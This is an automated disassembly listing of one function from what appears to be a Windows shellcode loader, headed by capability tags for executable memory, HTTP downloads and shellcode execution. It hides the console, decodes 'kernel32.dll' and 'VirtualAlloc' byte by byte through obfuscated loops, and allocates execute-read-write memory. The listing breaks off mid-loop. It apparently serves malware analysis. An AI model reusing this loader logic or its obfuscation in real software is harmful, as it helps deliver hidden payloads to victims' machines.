Function at 0x4010a0
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get http content length
Read data from internet
Receive data

Disassembly:
mov rax, rsp
sub rsp, 0x138
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax - 8], rbx
mov qword [rax - 0x10], rbp
mov qword [rax - 0x18], rsi
mov qword [rax - 0x20], rdi
mov qword [rax - 0x28], r12
mov qword [rax - 0x30], r13
mov qword [rax - 0x38], r14
mov qword [rax - 0x40], r15
mov rax, qword [0x004120d8]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x401104
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
cmp dword [0x004626fc], 0x3b9aca00
jg 0x401124
xor ecx, ecx
call qword [sym.imp.USER32.dll_UpdateWindow]
add dword [0x004626fc], 1
call fcn.00401060
xor esi, esi
mov edi, esi
mov ecx, 1
mov ebp, 0x20
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x4f
je 0x401152
test edx, edx
je 0x401156
jmp 0x401158
test edx, edx
je 0x401158
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401140
mov byte [rsp + 0x88], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x61
je 0x401184
test edx, edx
je 0x401188
jmp 0x40118a
test edx, edx
je 0x40118a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401172
mov byte [rsp + 0x89], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x76
je 0x4011b6
test edx, edx
je 0x4011ba
jmp 0x4011bc
test edx, edx
je 0x4011bc
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4011a4
mov byte [rsp + 0x8a], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x6a
je 0x4011f2
test edx, edx
je 0x4011f6
jmp 0x4011f8
test edx, edx
je 0x4011f8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4011e0
mov byte [rsp + 0x8b], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x61
je 0x401224
test edx, edx
je 0x401228
jmp 0x40122a
test edx, edx
je 0x40122a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401212
mov byte [rsp + 0x8c], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x401256
test edx, edx
je 0x40125a
jmp 0x40125c
test edx, edx
je 0x40125c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401244
mov byte [rsp + 0x8d], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x37
je 0x401292
test edx, edx
je 0x401296
jmp 0x401298
test edx, edx
je 0x401298
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401280
mov byte [rsp + 0x8e], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x36
je 0x4012c4
test edx, edx
je 0x4012c8
jmp 0x4012ca
test edx, edx
je 0x4012ca
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4012b2
mov byte [rsp + 0x8f], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x2a
je 0x4012f6
test edx, edx
je 0x4012fa
jmp 0x4012fc
test edx, edx
je 0x4012fc
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4012e4
mov byte [rsp + 0x90], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x60
je 0x401332
test edx, edx
je 0x401336
jmp 0x401338
test edx, edx
je 0x401338
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401320
mov byte [rsp + 0x91], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x401364
test edx, edx
je 0x401368
jmp 0x40136a
test edx, edx
je 0x40136a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401352
mov byte [rsp + 0x92], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x401396
test edx, edx
je 0x40139a
jmp 0x40139c
test edx, edx
je 0x40139c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401384
mov byte [rsp + 0x93], dil
mov edx, esi
mov ecx, 1
mov rdi, rbp
mov eax, ecx
and eax, 4
je 0x4013c3
test eax, eax
je 0x4013c7
jmp 0x4013c9
test eax, eax
je 0x4013c9
or edx, ecx
add ecx, ecx
sub rdi, 1
jne 0x4013b6
mov byte [rsp + 0x94], dl
lea rcx, [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9, rax
mov qword [rsp + 0x40], rax
mov edi, esi
mov edx, 1
mov r8, rbp
nop
nop
mov ecx, edx
mov eax, edx
and eax, 4
and ecx, 0x52
je 0x401412
test eax, eax
je 0x401416
jmp 0x401418
test eax, eax
je 0x401418
or edi, edx
add edx, edx
sub r8, 1
jne 0x401400
mov byte [rsp + 0x78], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x6d
je 0x401442
test edx, edx
je 0x401446
jmp 0x401448
test edx, edx
je 0x401448
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401430
mov byte [rsp + 0x79], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x76
je 0x401472
test edx, edx
je 0x401476
jmp 0x401478
test edx, edx
je 0x401478
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401460
mov byte [rsp + 0x7a], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x70
je 0x4014a2
test edx, edx
je 0x4014a6
jmp 0x4014a8
test edx, edx
je 0x4014a8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401490
mov byte [rsp + 0x7b], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x71
je 0x4014d2
test edx, edx
je 0x4014d6
jmp 0x4014d8
test edx, edx
je 0x4014d8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4014c0
mov byte [rsp + 0x7c], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x65
je 0x401502
test edx, edx
je 0x401506
jmp 0x401508
test edx, edx
je 0x401508
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4014f0
mov byte [rsp + 0x7d], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x401532
test edx, edx
je 0x401536
jmp 0x401538
test edx, edx
je 0x401538
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401520
mov byte [rsp + 0x7e], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x45
je 0x401562
test edx, edx
je 0x401566
jmp 0x401568
test edx, edx
je 0x401568
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401550
mov byte [rsp + 0x7f], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x401592
test edx, edx
je 0x401596
jmp 0x401598
test edx, edx
je 0x401598
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401580
mov byte [rsp + 0x80], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x4015c4
test edx, edx
je 0x4015c8
jmp 0x4015ca
test edx, edx
je 0x4015ca
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4015b2
mov byte [rsp + 0x81], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x6b
je 0x4015f6
test edx, edx
je 0x4015fa
jmp 0x4015fc
test edx, edx
je 0x4015fc
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4015e4
mov byte [rsp + 0x82], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x67
je 0x401632
test edx, edx
je 0x401636
jmp 0x401638
test edx, edx
je 0x401638
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401620
mov byte [rsp + 0x83], dil
mov edx, esi
mov ecx, 1
mov rdi, rbp
mov eax, ecx
and eax, 4
je 0x40165f
test eax, eax
je 0x401663
jmp 0x401665
test eax, eax
je 0x401665
or edx, ecx
add ecx, ecx
sub rdi, 1
jne 0x401652
mov byte [rsp + 0x84], dl
lea rdx, [rsp + 0x78]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9d, [rdi + 0x40]
mov r8d, 0x1000
mov r14d, 0x4e600
mov rdx, r14
xor ecx, ecx
call rax
mov r15, rax
mov edi, esi
mov edx, 1
mov r8, rbp
nop
nop
nop
mov ecx, edx
mov eax, edx
and eax, 1
and ecx, 0x59
je 0x4016c2
test eax, eax
je 0x4016c6
jmp 0x4016c8
test eax, eax
je 0x4016c8
or edi, edx
add edx, edx
sub r8, 1
jne 0x4016b0
mov byte [rsp + 0xb0], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x6a
je 0x4016f4
test edx, edx
je 0x4016f8
jmp 0x4016fa
test edx, edx
je 0x4016fa
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4016e2
mov byte [rsp + 0xb1], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x6c
je 0x401726
test edx, edx
je 0x40172a
jmp 0x40172c
test edx, edx
je 0x40172c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401714
mov byte [rsp + 0xb2], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x77
je 0x401762
test edx, edx
je 0x401766
jmp 0x401768
test edx, edx
je 0x401768
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401750
mov byte [rsp + 0xb3], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x66
je 0x401794
test edx, edx
je 0x401798
jmp 0x40179a
test edx, edx
je 0x40179a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401782
mov byte [rsp + 0xb4], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x40
je 0x4017c6
test edx, edx
je 0x4017ca
jmp 0x4017cc
test edx, edx
je 0x4017cc
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4017b4
mov byte [rsp + 0xb5], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x64
je 0x401802
test edx, edx
je 0x401806
jmp 0x401808
test edx, edx
je 0x401808
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4017f0
mov byte [rsp + 0xb6], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x49
je 0x401834
test edx, edx
je 0x401838
jmp 0x40183a
test edx, edx
je 0x40183a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401822
mov byte [rsp + 0xb7], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x47
je 0x401866
test edx, edx
je 0x40186a
jmp 0x40186c
test edx, edx
je 0x40186c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401854
mov byte [rsp + 0xb8], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x46
je 0x4018a2
test edx, edx
je 0x4018a6
jmp 0x4018a8
test edx, edx
je 0x4018a8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401890
mov byte [rsp + 0xb9], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x34
je 0x4018d4
test edx, edx
je 0x4018d8
jmp 0x4018da
test edx, edx
je 0x4018da
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4018c2
mov byte [rsp + 0xba], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x6e
je 0x401906
test edx, edx
je 0x40190a
jmp 0x40190c
test edx, edx
je 0x40190c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4018f4
mov byte [rsp + 0xbb], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x56
je 0x401942
test edx, edx
je 0x401946
jmp 0x401948
test edx, edx
je 0x401948
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401930
mov byte [rsp + 0xbc], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x4a
je 0x401974
test edx, edx
je 0x401978
jmp 0x40197a
test edx, edx
je 0x40197a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401962
mov byte [rsp + 0xbd], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x38
je 0x4019a6
test edx, edx
je 0x4019aa
jmp 0x4019ac
test edx, edx
je 0x4019ac
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401994
mov byte [rsp + 0xbe], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x6c
je 0x4019e2
test edx, edx
je 0x4019e6
jmp 0x4019e8
test edx, edx
je 0x4019e8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4019d0
mov byte [rsp + 0xbf], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x4a
je 0x401a14